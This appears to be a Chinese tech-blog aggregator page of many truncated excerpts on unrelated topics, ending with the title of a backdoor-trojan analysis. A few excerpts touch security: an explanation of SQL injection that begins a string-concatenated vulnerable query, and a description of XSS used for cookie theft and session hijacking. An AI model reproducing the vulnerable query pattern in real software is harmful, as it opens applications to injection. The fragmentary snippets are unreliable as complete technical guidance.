1、大盘篇先上老图，看习惯了，也就知道走势了图1上证指数日线图还是那张老图，自己可以在自己的相关软件上画出来，快变盘了。2、个股篇未加仓、未减仓。分析量能的时候，突然发现这么一个东西：“放量突破年线，缩量回调。”合众科技日线图其实，最近的N只个股，在技术分析上，都到了变盘的临界时候。结合这么久的走势，特别是ZJH不断放开IPO的申请，本质上说是融资难度变大，或者说是为企业的融资开创便利。但现在市场
18、架构-可观测性之聚合度量大树~~ 架构 java python 后端架构
聚合度量聚合度量是指对系统运行时产生的各种指标数据进行收集、聚合和分析，以了解系统的健康状况和性能表现。聚合度量是可观测性的关键组成部分，通过对度量数据的分析，可以及时发现系统中的异常和瓶颈。以下是对聚合度量各个方面的详细解析，并结合具体的数据案例和技术支撑。指标收集收集系统运行时产生的各种指标数据是聚合度量的基础。常见的指标包括CPU使用率、内存使用率、请求处理时间、请求数、错误率等。以下是指标
果然只有离职的时候，才有人敢说真话！ return2ok
今天公司出了神贴。今天中午吃饭，同事问我看了论坛上的神贴了吗？什么帖子？我问。同事显得很惊讶，你居然没看，现在那个帖子可能会成为年度最佳帖子。这么厉害？我等不及了，饭没吃完就快速的奔向办公室，打开公司论坛，我要一睹这个帖子的神奇。写这帖子的童鞋胆儿真肥。这哪里是一个帖子，这是很多个帖子，组成了一个系列。某人从公司文化、管理、人事、项目管理等多个方面分析了公司的概况，并抨击了公司的各种弊端，并提出了
nosql数据库技术与应用知识点皆过客，揽星河 NoSQL nosql 数据库大数据数据分析数据结构非关系型数据库
Nosql知识回顾大数据处理流程数据采集(flume、爬虫、传感器)数据存储(本门课程NoSQL所处的阶段)Hdfs、MongoDB、HBase等数据清洗(入仓)Hive等数据处理、分析(Spark、Flink等)数据可视化数据挖掘、机器学习应用(Python、SparkMLlib等)大数据时代存储的挑战(三高)高并发(同一时间很多人访问)高扩展(要求随时根据需求扩展存储)高效率(要求读写速度快)
《Python数据分析实战终极指南》 xjt921122 python 数据分析开发语言
对于分析师来说，大家在学习Python数据分析的路上，多多少少都遇到过很多大坑**，有关于技能和思维的**：Excel已经没办法处理现有的数据量了，应该学Python吗？找了一大堆Python和Pandas的资料来学习，为什么自己动手就懵了？跟着比赛类公开数据分析案例练了很久，为什么当自己面对数据需求还是只会数据处理而没有分析思路？学了对比、细分、聚类分析，也会用PEST、波特五力这类分析法，为啥
Python开发常用的三方模块如下：换个网名有点难 python 开发语言
Python是一门功能强大的编程语言，拥有丰富的第三方库，这些库为开发者提供了极大的便利。以下是100个常用的Python库，涵盖了多个领域：1、NumPy，用于科学计算的基础库。2、Pandas，提供数据结构和数据分析工具。3、Matplotlib，一个绘图库。4、Scikit-learn，机器学习库。5、SciPy，用于数学、科学和工程的库。6、TensorFlow，由Google开发的开源机
ES聚合分析原理与代码实例讲解光剑书架上的书大厂Offer收割机面试题简历程序员读书硅基计算碳基计算认知计算生物计算深度学习神经网络大数据 AIGC AGI LLM Java Python 架构设计 Agent 程序员实现财富自由
ES聚合分析原理与代码实例讲解1.背景介绍1.1问题的由来在大规模数据分析场景中，特别是在使用Elasticsearch（ES）进行数据存储和检索时，聚合分析成为了一个至关重要的功能。聚合分析允许用户对数据集进行细分和分组，以便深入探索数据的结构和模式。这在诸如实时监控、日志分析、业务洞察等领域具有广泛的应用。1.2研究现状目前，ES聚合分析已经成为现代大数据平台的核心组件之一。它支持多种类型的聚
母亲节如何做小红书营销美橙传媒
小红书的一举一动引起了外界的高度关注。通过爆款笔记和流行话题，我们可以看到“干货”类型的内容在小红书中偏向实用的生活经验共享和生活指南非常受欢迎。根据运营社的分析，这种现象是由小红书用户心智和内容社区背后机制共同决定的。首先，小红书将使用“强搜索”逻辑为用户提供特定的“搜索场景”。在“我必须这样生活”中，大量使用了满足小红书站用户喜好和需求的内容。内容社区自制的高质量内容也吸引了寻找营销新途径的品
系统架构设计师需求分析篇二 AmHardy 软件架构设计师系统架构需求分析面向对象分析分析模型 UML和SysML
面向对象分析方法1.用例模型构建用例模型一般需要经历4个阶段：识别参与者：识别与系统交互的所有事物。合并需求获得用例：将需求分配给予其相关的参与者。细化用例描述：详细描述每个用例的功能。调整用例模型：优化用例之间的关系和结构，前三个阶段是必需的。2.用例图的三元素参与者：使用系统的用户或其他外部系统和设备。用例：系统所提供的服务。通信关联：参与者和用例之间的关系，或用例与用例之间的关系。3.识别参
语文主题教学学习笔记之87 东哥杂谈
“语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细
Python神器！WEB自动化测试集成工具 DrissionPage 亚丁号 python 开发语言
一、前言用requests做数据采集面对要登录的网站时，要分析数据包、JS源码，构造复杂的请求，往往还要应付验证码、JS混淆、签名参数等反爬手段，门槛较高。若数据是由JS计算生成的，还须重现计算过程，体验不好，开发效率不高。使用浏览器，可以很大程度上绕过这些坑，但浏览器运行效率不高。因此，这个库设计初衷，是将它们合而为一，能够在不同须要时切换相应模式，并提供一种人性化的使用方法，提高开发和运行效率
Java爬虫框架（一）--架构设计狼图腾-狼之传说 java 框架 java 任务 html解析器存储电子商务
一、架构图那里搜网络爬虫框架主要针对电子商务网站进行数据爬取，分析，存储，索引。爬虫：爬虫负责爬取，解析，处理电子商务网站的网页的内容数据库：存储商品信息索引：商品的全文搜索索引Task队列：需要爬取的网页列表Visited表：已经爬取过的网页列表爬虫监控平台：web平台可以启动，停止爬虫，管理爬虫，task队列，visited表。二、爬虫1.流程1)Scheduler启动爬虫器，TaskMast
今日分享：有的孩子家长常常在对于小朋友老是说谎，还特别爱推卸责任，很头痛，不知道该怎么办！雨燕Cassie
其实六岁以前都不叫撒谎，只能叫做逃避和害怕，因为他们都是没有撒谎的这个概念，家长所谓的撒谎只能说是因为做错了事情，怕受到责罚而找一个「台阶」给自己一下而已，所以家长不能给孩子一个贴上撒谎的这个标签，如果说孩子出现家长所说的撒谎，我们应该做的是：1.允许孩子将事情的原委进行一个表达，给孩子说明的机会，不提示孩子说谎，不急著批评孩子。2.不使用问句，不恐吓和严刑逼供，耐心的以故事或者以分析的形式和孩子
06选课支付模块之基于消息队列发送支付通知消息 echo 云清学成在线 java rabbitmq 消息队列支付通知学成在线
消息队列发送支付通知消息需求分析订单服务作为通用服务，在订单支付成功后需要将支付结果异步通知给其他对接的微服务，微服务收到支付结果根据订单的类型去更新自己的业务数据技术方案使用消息队列进行异步通知需要保证消息的可靠性即生产端将消息成功通知到服务端：消息发送到交换机-->由交换机发送到队列-->消费者监听队列，收到消息进行处理，参考文章02-使用Docker安装RabbitMQ-CSDN博客生产者确
《 C++ 修炼全景指南：九》打破编程瓶颈！掌握二叉搜索树的高效实现与技巧 Lenyiin C++修炼全景指南技术指南 c++算法 stl
摘要本文详细探讨了二叉搜索树（BinarySearchTree,BST）的核心概念和技术细节，包括插入、查找、删除、遍历等基本操作，并结合实际代码演示了如何实现这些功能。文章深入分析了二叉搜索树的性能优势及其时间复杂度，同时介绍了前驱、后继的查找方法等高级功能。通过自定义实现的二叉搜索树类，读者能够掌握其实际应用，此外，文章还建议进一步扩展为平衡树（如AVL树、红黑树）以优化极端情况下的性能退化。
遥感影像的切片处理 sand&wich 计算机视觉 python 图像处理
在遥感影像分析中，经常需要将大尺寸的影像切分成小片段，以便于进行详细的分析和处理。这种方法特别适用于机器学习和图像处理任务，如对象检测、图像分类等。以下是如何使用Python和OpenCV库来实现这一过程，同时确保每个影像片段保留正确的地理信息。准备环境首先，确保安装了必要的Python库，包括numpy、opencv-python和xml.etree.ElementTree。这些库将用于图像处理
Spring MVC 全面指南：从入门到精通的详细解析一杯梅子酱技术栈学习 spring mvc java
引言：SpringMVC，作为Spring框架的一个重要模块，为构建Web应用提供了强大的功能和灵活性。无论是初学者还是有一定经验的开发者，掌握SpringMVC都将显著提升你的Web开发技能。本文旨在为初学者提供一个全面且易于理解的学习路径，通过详细的知识点分析和实际案例，帮助你快速上手SpringMVC，让学习过程既深刻又高效。一、SpringMVC简介1.1什么是SpringMVC？Spri
iOS http封装 374016526 ios 服务器交互 http 网络请求
程序开发避免不了与服务器的交互，这里打包了一个自己写的http交互库。希望可以帮到大家。内置一个basehttp，当我们创建自己的service可以继承实现。 KuroAppBaseHttp *baseHttp = [[KuroAppBaseHttp alloc] init]; [baseHttp setDelegate:self]; [baseHttp
lolcat ：一个在 Linux 终端中输出彩虹特效的命令行工具 brotherlamp linux linux教程 linux视频 linux自学 linux资料
那些相信 Linux 命令行是单调无聊且没有任何乐趣的人们，你们错了，这里有一些有关 Linux 的文章，它们展示着 Linux 是如何的有趣和“淘气” 。在本文中，我将讨论一个名为“lolcat”的小工具 – 它可以在终端中生成彩虹般的颜色。何为 lolcat ? Lolcat 是一个针对 Linux，BSD 和 OSX 平台的工具，它类似于 cat 命令，并为 cat
MongoDB索引管理（1）——[九] eksliang mongodb MongoDB管理索引
转载请出自出处：http://eksliang.iteye.com/blog/2178427 一、概述数据库的索引与书籍的索引类似，有了索引就不需要翻转整本书。数据库的索引跟这个原理一样，首先在索引中找，在索引中找到条目以后，就可以直接跳转到目标文档的位置，从而使查询速度提高几个数据量级。不使用索引的查询称
Informatica参数及变量 18289753290 Informatica 参数变量
下面是本人通俗的理解，如有不对之处，希望指正 info参数的设置：在info中用到的参数都在server的专门的配置文件中（最好以parma）结尾下面的GLOBAl就是全局的，$开头的是系统级变量，$$开头的变量是自定义变量。如果是在session中或者mapping中用到的变量就是局部变量，那就把global换成对应的session或者mapping名字。 [GLOBAL] $Par
python 解析unicode字符串为utf8编码字符串酷的飞上天空 unicode
php返回的json字符串如果包含中文，则会被转换成\uxx格式的unicode编码字符串返回。在浏览器中能正常识别这种编码，但是后台程序却不能识别，直接输出显示的是\uxx的字符，并未进行转码。转换方式如下 >>> import json >>> q = '{"text":"\u4
Hibernate的总结永夜-极光 Hibernate
1.hibernate的作用,简化对数据库的编码,使开发人员不必再与复杂的sql语句打交道做项目大部分都需要用JAVA来链接数据库，比如你要做一个会员注册的页面，那么获取到用户填写的基本信后，你要把这些基本信息存入数据库对应的表中，不用hibernate还有mybatis之类的框架，都不用的话就得用JDBC，也就是JAVA自己的，用这个东西你要写很多的代码，比如保存注册信
SyntaxError: Non-UTF-8 code starting with '\xc4' 随便小屋 python
刚开始看一下Python语言，传说听强大的，但我感觉还是没Java强吧！写Hello World的时候就遇到一个问题，在Eclipse中写的，代码如下 ''' Created on 2014年10月27日 @author: Logic ''' print("Hello World!"); 运行结果 SyntaxError: Non-UTF-8
学会敬酒礼仪不做酒席菜鸟 aijuans 菜鸟
俗话说，酒是越喝越厚，但在酒桌上也有很多学问讲究，以下总结了一些酒桌上的你不得不注意的小细节。细节一：领导相互喝完才轮到自己敬酒。敬酒一定要站起来，双手举杯。细节二：可以多人敬一人，决不可一人敬多人，除非你是领导。细节三：自己敬别人，如果不碰杯，自己喝多少可视乎情况而定，比如对方酒量，对方喝酒态度，切不可比对方喝得少，要知道是自己敬人。细节四：自己敬别人，如果碰杯，一
《创新者的基因》读书笔记 aoyouzi 读书笔记《创新者的基因》
创新者的基因创新者的“基因”，即最具创意的企业家具备的五种“发现技能”：联想，观察，实验，发问，建立人脉。第一部分破坏性创新，从你开始第一章破坏性创新者的基因如何获得启示：发现以下的因素起到了催化剂的作用：(1) -个挑战现状的问题；(2)对某项技术、某个公司或顾客的观察；(3) -次尝试新鲜事物的经验或实验；(4)与某人进行了一次交谈，为他点醒
表单验证技术百合不是茶 JavaScript DOM对象 String对象事件
js最主要的功能就是验证表单,下面是我对表单验证的一些理解,贴出来与大家交流交流 ,数显我们要知道表单验证需要的技术点, String对象,事件,函数一:String对象;通常是对字符串的操作; 1,String的属性; 字符串.length;表示该字符串的长度; var str= "java"
web.xml配置详解之context-param bijian1013 java servlet web.xml context-param
一.格式定义： <context-param> <param-name>contextConfigLocation</param-name> <param-value>contextConfigLocationValue></param-value> </context-param> 作用：该元
Web系统常见编码漏洞（开发工程师知晓） Bill_chen sql PHP Web fckeditor 脚本
1.头号大敌：SQL Injection 原因：程序中对用户输入检查不严格，用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。本质: 对于输入检查不充分，导致SQL语句将用户提交的非法数据当作语句的一部分来执行。示例： String query = "SELECT id FROM users
【MongoDB学习笔记六】MongoDB修改器 bit1129 mongodb
本文首先介绍下MongoDB的基本的增删改查操作，然后，详细介绍MongoDB提供的修改器，以完成各种各样的文档更新操作 MongoDB的主要操作 show dbs 显示当前用户能看到哪些数据库 use foobar 将数据库切换到foobar show collections 显示当前数据库有哪些集合 db.people.update，update不带参数，可
提高职业素养，做好人生规划白糖_ 人生
培训讲师是成都著名的企业培训讲师，他在讲课中提出的一些观点很新颖，在此我收录了一些分享一下。注：讲师的观点不代表本人的观点，这些东西大家自己揣摩。 1、什么是职业规划：职业规划并不完全代表你到什么阶段要当什么官要拿多少钱，这些都只是梦想。职业规划是清楚的认识自己现在缺什么，这个阶段该学习什么，下个阶段缺什么，又应该怎么去规划学习，这样才算是规划。
国外的网站你都到哪边看？ bozch 技术网站国外
学习软件开发技术，如果没有什么英文基础，最好还是看国内的一些技术网站，例如：开源OSchina，csdn，iteye,51cto等等。个人感觉如果英语基础能力不错的话，可以浏览国外的网站来进行软件技术基础的学习，例如java开发中常用的到的网站有apache.org 里面有apache的很多Projects,springframework.org是spring相关的项目网站,还有几个感觉不错的
编程之美-光影切割问题 bylijinnan 编程之美
package a; public class DisorderCount { /**《编程之美》“光影切割问题” * 主要是两个问题： * 1.数学公式（设定没有三条以上的直线交于同一点）： * 两条直线最多一个交点，将平面分成了4个区域； * 三条直线最多三个交点，将平面分成了7个区域； * 可以推出：N条直线 M个交点，区域数为N+M+1。
关于Web跨站执行脚本概念 chenbowen00 Web 安全跨站执行脚本
跨站脚本攻击(XSS)是web应用程序中最危险和最常见的安全漏洞之一。安全研究人员发现这个漏洞在最受欢迎的网站,包括谷歌、Facebook、亚马逊、PayPal,和许多其他网站。如果你看看bug赏金计划,大多数报告的问题属于 XSS。为了防止跨站脚本攻击,浏览器也有自己的过滤器,但安全研究人员总是想方设法绕过这些过滤器。这个漏洞是通常用于执行cookie窃取、恶意软件传播,会话劫持,恶意重定向。在
[开源项目与投资]投资开源项目之前需要统计该项目已有的用户数 comsci 开源项目
现在国内和国外,特别是美国那边,突然出现很多开源项目,但是这些项目的用户有多少,有多少忠诚的粉丝,对于投资者来讲,完全是一个未知数,那么要投资开源项目,我们投资者必须准确无误的知道该项目的全部情况,包括项目发起人的情况,项目的维持时间..项目的技术水平,项目的参与者的势力,项目投入产出的效益.....
oracle alert log file（告警日志文件） daizj oracle 告警日志文件 alert log file
The alert log is a chronological log of messages and errors, and includes the following items: All internal errors (ORA-00600), block corruption errors (ORA-01578), and deadlock errors (ORA-00060)
关于 CAS SSO 文章声明 denger SSO
由于几年前写了几篇 CAS 系列的文章，之后陆续有人参照文章去实现，可都遇到了各种问题，同时经常或多或少的收到不少人的求助。现在这时特此说明几点： 1. 那些文章发表于好几年前了，CAS 已经更新几个很多版本了，由于近年已经没有做该领域方面的事情，所有文章也没有持续更新。 2. 文章只是提供思路，尽管 CAS 版本已经发生变化，但原理和流程仍然一致。最重要的是明白原理，然后
初二上学期难记单词 dcj3sjt126com english word
lesson 课 traffic 交通 matter 要紧；事物 happy 快乐的，幸福的 second 第二的 idea 主意；想法；意见 mean 意味着 important 重要的，重大的 never 从来，决不 afraid 害怕的 fifth 第五的 hometown 故乡，家乡 discuss 讨论；议论 east 东方的 agree 同意；赞成 bo
uicollectionview 纯代码布局, 添加头部视图 dcj3sjt126com Collection
#import <UIKit/UIKit.h> @interface myHeadView : UICollectionReusableView { UILabel *TitleLable; } -(void)setTextTitle; @end #import "myHeadView.h" @implementation m
N 位随机数字串的 JAVA 生成实现 FX夜归人 java Math 随机数 Random
/** * 功能描述随机数工具类<br /> * @author FengXueYeGuiRen * 创建时间 2014-7-25<br /> */ public class RandomUtil { // 随机数生成器 private static java.util.Random random = new java.util.R
Ehcache（09）——缓存Web页面 234390216 ehcache 页面缓存
页面缓存目录 1 SimplePageCachingFilter 1.1 calculateKey 1.2 可配置的初始化参数 1.2.1 cach
spring中少用的注解@primary解析 jackyrong primary
这次看下spring中少见的注解@primary注解，例子 @Component public class MetalSinger implements Singer{ @Override public String sing(String lyrics) { return "I am singing with DIO voice
Java几款性能分析工具的对比 lbwahoo java
Java几款性能分析工具的对比摘自：http://my.oschina.net/liux/blog/51800 在给客户的应用程序维护的过程中，我注意到在高负载下的一些性能问题。理论上，增加对应用程序的负载会使性能等比率的下降。然而，我认为性能下降的比率远远高于负载的增加。我也发现，性能可以通过改变应用程序的逻辑来提升，甚至达到极限。为了更详细的了解这一点，我们需要做一些性能
JVM参数配置大全 nickys jvm 应用服务器
JVM参数配置大全 /usr/local/jdk/bin/java -Dresin.home=/usr/local/resin -server -Xms1800M -Xmx1800M -Xmn300M -Xss512K -XX:PermSize=300M -XX:MaxPermSize=300M -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=5 -
搭建 CentOS 6 服务器(14) - squid、Varnish rensanning varnish
（一）squid 安装 # yum install httpd-tools -y # htpasswd -c -b /etc/squid/passwords squiduser 123456 # yum install squid -y 设置 # cp /etc/squid/squid.conf /etc/squid/squid.conf.bak # vi /etc/
Spring缓存注解@Cache使用 tom_seed spring
参考资料 http://www.ibm.com/developerworks/cn/opensource/os-cn-spring-cache/ http://swiftlet.net/archives/774 缓存注解有以下三个： @Cacheable @CacheEvict @CachePut
dom4j解析XML时出现"java.lang.noclassdeffounderror: org/jaxen/jaxenexception"错误 xp9802
java.lang.NoClassDefFoundError: org/jaxen/JaxenExc 关键字: java.lang.noclassdeffounderror: org/jaxen/jaxenexception 使用dom4j解析XML时，要快速获取某个节点的数据，使用XPath是个不错的方法，dom4j的快速手册里也建议使用这种方式执行时却抛出以下异常： Exceptio

一个后门木马的简单分析

你可能感兴趣的:(分析)